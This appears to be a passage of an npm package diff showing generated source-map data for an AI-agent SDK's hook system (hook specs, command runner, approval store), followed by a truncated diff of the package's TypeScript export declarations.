A,KAAeY,gBAAgB1B,QAAAA,CAAAA,EAAW,GAAG;AAChF,WAAK,SAAS+B,OAAAA;IAChB;EACF;;;;;;;EAQA,QAAK;AACH,UAAM,EAAEQ,OAAOC,MAAK,IAAKC,eACvB,KAAKjC,MACL,CAACkC,QAAAA;AACC,YAAMC,SAAkBC,KAAKC,MAAMH,GAAAA;AACnC,UAAI,CAACI,MAAMC,QAAQJ,MAAAA,EAAS,OAAM,IAAIK,MAAM,uCAAA;AAC5C,aAAOL;IACT,GACA,CAAA,CAAE;AAEJ,SAAKlC,gBAAgB+B;AAErB,SAAK,WAAW,IAAIS,IAAIV,MAAMnB,IAAI,CAACD,MAAM;MAAC,GAAGA,EAAEL,KAAK,KAASK,EAAEE,WAAW;MAAIF;KAAE,CAAA;AAChF,WAAO,KAAK;EACd;EAEA,SAASY,SAAoC;AAC3CmB,oBAAgB,KAAK1C,MAAM,MAAM,GAAGoC,KAAKO,UAAU;SAAIpB,QAAQd,OAAM;OAAK,MAAM,CAAA,CAAA;CAAM;EACxF;AACF;","names":["randomBytes","TheokitAgentError","z","createHash","FIELD_SEPARATOR","hookFingerprint","identity","canonical","command","event","matcher","String","timeoutMs","join","createHash","update","digest","spawn","MAX_OUTPUT_BYTES","DRAIN_BUDGET_MS","CHAIN_BUDGET_MULTIPLIER","runHookCommand","input","Promise","resolve","child","spawn","command","cwd","shell","detached","env","stdio","stdout","stderr","truncated","timedOut","settled","capture","current","chunk","length","next","toString","slice","on","settle","exitCode","clearTimeout","timer","drainTimer","setTimeout","killGroup","pid","timeoutMs","undefined","code","stdin","end","process","kill","UNWIRED_EVENT_REASONS","Object","freeze","transform_llm_output","seam","reason","pre_user_send","on_session_end","unwiredEventAdvice","event","reasons","entry","undefined","HOOK_EVENTS","DEFAULT_HOOK_TIMEOUT_MS","DEFAULT_CONTINUATION_BUDGET","hookSpecSchema","z","object","event","enum","command","string","min","refine","value","test","message","matcher","optional","timeout_ms","number","int","positive","default","strict","HookSpecError","TheokitAgentError","name","code","isRetryable","parseHookSpecs","input","parsed","array","safeParse","success","error","issues","map","issue","path","join","data","IGNORE_WARNING","undefined","WIRED_EVENT_LIST","WIRED_EVENTS","Set","buildHookHandlers","specs","options","warn","onWarn","trusted","length","String","fingerprintOf","fingerprint","hookFingerprint","runnable","filter","spec","approved","has","identityOf","unwiredEventAdvice","handlers","chainBudgetMs","Math","max","CHAIN_BUDGET_MULTIPLIER","preHooks","pre_tool_call","ctx","started","Date","now","onVeto","tool","reason","block","matches","result","runHookCommand","cwd","timeoutMs","stdin","JSON","stringify","args","env","exitCode","fenceHookOutput","stdout","stderr","postHooks","post_tool_call","truncated","transformHooks","transform_tool_result","buildTransformHandler","assignObservationalHandlers","OBSERVATIONAL_EVENTS","list","buildObservationalHandler","toolName","trimmed","trim","includes","split","RegExp","fenceHookOutput","output","nonce","randomBytes","toString","open","close","escaped","replaceAll","OBSERVATIONAL_EVENTS","buildTransformHandler","transformHooks","options","warn","chainBudgetMs","remaining","continuationBudget","DEFAULT_CONTINUATION_BUDGET","results","ctx","out","started","Date","now","spec","targets","matcher","undefined","toolCalls","length","filter","call","matches","name","result","runHookCommand","command","cwd","timeoutMs","timeout_ms","stdin","JSON","stringify","tool","args","env","exitCode","feedback","stdout","trim","String","assignObservationalHandlers","handlers","events","make","specs","event","list","buildObservationalHandler","realpathSync","join","resolve","slotOf","identity","event","matcher","canonicalScope","dir","realpathSync","resolve","HookApprovalStore","path","lastReadError","options","join","home","approvedFingerprints","scope","key","Set","values","filter","r","map","fingerprint","approvals","stateOf","inScope","some","hookFingerprint","slot","record","command","approve","records","set","undefined","approvedAt","Date","toISOString","revoke","delete","value","error","readSecureJson","raw","parsed","JSON","parse","Array","isArray","Error","Map","writeSecureJson","stringify"]}
+{"version":3,"sources":["../src/hooks/hook-spec.ts","../src/hooks/hook-events.ts","../src/hooks/hook-fingerprint.ts","../src/hooks/hook-runner.ts","../src/hooks/unwired-events.ts","../src/hooks/approval-store.ts"],"mappings":"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","names":["randomBytes","TheokitAgentError","z","HOOK_EVENTS","DEFAULT_HOOK_TIMEOUT_MS","DEFAULT_CONTINUATION_BUDGET","hookSpecSchema","z","object","event","enum","command","string","min","refine","value","test","message","matcher","optional","timeout_ms","number","int","positive","default","strict","HookSpecError","TheokitAgentError","name","code","isRetryable","parseHookSpecs","input","parsed","array","safeParse","success","error","issues","map","issue","path","join","data","createHash","FIELD_SEPARATOR","hookFingerprint","identity","canonical","command","event","matcher","String","timeoutMs","join","createHash","update","digest","spawn","MAX_OUTPUT_BYTES","DRAIN_BUDGET_MS","CHAIN_BUDGET_MULTIPLIER","runHookCommand","input","Promise","resolve","child","spawn","command","cwd","shell","detached","env","stdio","stdout","stderr","truncated","timedOut","settled","capture","current","chunk","length","next","toString","slice","on","settle","exitCode","clearTimeout","timer","drainTimer","setTimeout","killGroup","pid","timeoutMs","undefined","code","stdin","end","process","kill","UNWIRED_EVENT_REASONS","Object","freeze","transform_llm_output","seam","reason","pre_user_send","on_session_end","unwiredEventAdvice","event","reasons","entry","undefined","IGNORE_WARNING","undefined","WIRED_EVENT_LIST","WIRED_EVENTS","Set","buildHookHandlers","specs","options","warn","onWarn","trusted","length","String","fingerprintOf","fingerprint","hookFingerprint","runnable","filter","spec","approved","has","identityOf","command","event","unwiredEventAdvice","handlers","chainBudgetMs","Math","max","map","timeout_ms","CHAIN_BUDGET_MULTIPLIER","preHooks","pre_tool_call","ctx","started","Date","now","message","onVeto","tool","name","reason","block","matches","result","runHookCommand","cwd","timeoutMs","stdin","JSON","stringify","args","env","exitCode","fenceHookOutput","stdout","stderr","postHooks","post_tool_call","truncated","error","transformHooks","transform_tool_result","buildTransformHandler","assignObservationalHandlers","OBSERVATIONAL_EVENTS","list","buildObservationalHandler","matcher","toolName","trimmed","trim","includes","split","RegExp","test","fenceHookOutput","output","nonce","randomBytes","toString","open","close","escaped","replaceAll","OBSERVATIONAL_EVENTS","buildTransformHandler","transformHooks","options","warn","chainBudgetMs","remaining","continuationBudget","DEFAULT_CONTINUATION_BUDGET","results","ctx","out","started","Date","now","spec","targets","matcher","undefined","toolCalls","length","filter","call","matches","name","result","runHookCommand","command","cwd","timeoutMs","timeout_ms","stdin","JSON","stringify","tool","args","env","exitCode","feedback","stdout","trim","String","assignObservationalHandlers","handlers","events","make","specs","event","list","buildObservationalHandler","realpathSync","join","resolve","slotOf","identity","event","matcher","canonicalScope","dir","realpathSync","resolve","HookApprovalStore","path","lastReadError","options","join","home","approvedFingerprints","scope","key","Set","values","filter","r","map","fingerprint","approvals","stateOf","inScope","some","hookFingerprint","slot","record","command","approve","records","set","undefined","approvedAt","Date","toISOString","revoke","delete","value","error","readSecureJson","raw","parsed","JSON","parse","Array","isArray","Error","Map","writeSecureJson","stringify"]}

package/dist/index.d.ts

@@ -2,18 +2,18 @@ import { PluginsSettings, Plugin, ProviderRoutingSettings, AgentDefinition, Budg
 export { BudgetTracker, CustomTool, DiagnosticsSink, GenerateObjectError, GoalEvent, GoalLoopAgent, GoalOptions, GoalResult, InlineSkill, JudgeCredentialError, JudgeResult, LayerOrderError, McpAuthConfig, McpHttpServerConfig, McpOAuthConfig, McpServerConfig, McpStdioServerConfig, Plugin, PluginsSettings, Provider, ProviderRoutingSettings, RunEvent, SDKAgent, SessionRecord, SessionStore, Squad, StreamObjectError, Tool, ToolError, ToolResultContentBlock, TrustLevel, TrustPosture, TrustPostureInput, TrustSource, UngatedCapabilityError, Verdict, WiredEntity, applySecurityFloor, auditEnvReachability, foldLayers, recordWiring, resolveTrustPosture, setDiagnosticsSink, verifyLayerOrdering } from '@theokit/sdk';
 import { b as MainLoopMeta, R as ReasoningEffort, T as ToolOptions, A as ApprovalOptions, H as HumanInTheLoopOptions } from './types-C16Wuh9E.js';
 export { c as AgentOptions, B as BudgetOptions, d as MainLoopOptions, M as McpServersMap, e as PolicyHandler, f as TimeoutAction, g as ToolboxOptions } from './types-C16Wuh9E.js';
-import { C as ContextWindowOptions, S as SkillsOptions, A as AgentManifestEntry, H as HitlDecision, s as streamAgentUIMessages, a as ApprovalPosture, b as AgentModule } from './bridge-entry-BgWauyLQ.js';
-export { c as APPROVAL_MODES, d as AfterToolCallContext, e as AgentBuilder, f as AgentDefinitionError, g as AgentExecutionContext, h as AgentManifest, i as AgentManifestSource, j as AgentManifestTool, k as AgentRoute, l as AgentRouteContext, m as AgentRunInfo, n as AgentsPluginOptions, o as ApiErrorContext, p as ApiErrorDecision, q as ApiErrorPolicy, r as ApprovalMode, t as ApprovalRequest, B as BeforeToolCallContext, u as CompiledContextWindow, v as ContextualTool, D as DefinitionOrThunk, w as DelegationTimeoutError, E as EphemeralAgent, L as LLMCallContext, M as McpApprovalSpec, x as McpFileError, y as McpRegistryConfig, z as McpRequestContext, F as McpSelection, P as ProcessInputContext, R as RuntimeOverrides, G as SdkAgentHandle, I as SdkMessage, J as SdkSendOptions, K as SdkTurnHandle, N as Segment, O as ShouldAutoApproveOptions, T as ToolCallVeto, Q as ToolHooks, U as ToolHooksPlugin, W as WRITE_SCOPED_TOOLS, V as agentsPlugin, X as applyPosture, Y as buildModelSelection, Z as compileAgentModule, _ as compileContextWindow, $ as compileLoadedAgentModule, a0 as compileProjectContext, a1 as compileSkills, a2 as createAgentExecutionContext, a3 as createApiErrorHandler, a4 as createSdkAgentStream, a5 as createThinkTagExtractor, a6 as createToolHooksPlugin, a7 as extractThinkTagStream, a8 as generateAgentManifest, a9 as generateAgentRoutes, aa as isAgentContext, ab as loadMcpJson, ac as 